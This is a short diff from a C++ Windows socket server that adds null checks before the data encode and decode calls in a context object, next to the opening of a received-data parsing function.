||||
// May be this function should be a member of `CONTEXT_OBJECT`.
|
||||
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx)
|
||||
{
|
||||
AUTO_TICK(40, "");
|
||||
AUTO_TICK(50, ContextObject->GetPeerName());
|
||||
BOOL ret = 1;
|
||||
try {
|
||||
if (dwTrans == 0) { //对方关闭了套接字
|
||||
|
||||
@@ -627,22 +627,26 @@ public:
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const
|
||||
{
|
||||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||||
auto enc = Parser.GetEncoder();
|
||||
if (enc) enc->Encode((unsigned char*)data, len);
|
||||
}
|
||||
// Decode data after uncompress.
|
||||
void Decode(PBYTE data, int len) const
|
||||
{
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
auto enc = Parser.GetEncoder();
|
||||
if (enc) enc->Decode((unsigned char*)data, len);
|
||||
}
|
||||
// Encode data after compress.
|
||||
void Encode2(PBYTE data, int len, PBYTE param) const
|
||||
{
|
||||
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
||||
auto enc = Parser.GetEncoder2();
|
||||
if (enc) enc->Encode((unsigned char*)data, len, param);
|
||||
}
|
||||
// Decode data before uncompress.
|
||||
void Decode2(PBYTE data, int len, PBYTE param) const
|
||||
{
|
||||
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
||||
auto enc = Parser.GetEncoder2();
|
||||
if (enc) enc->Decode((unsigned char*)data, len, param);
|
||||
}
|
||||
std::string RemoteAddr() const
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user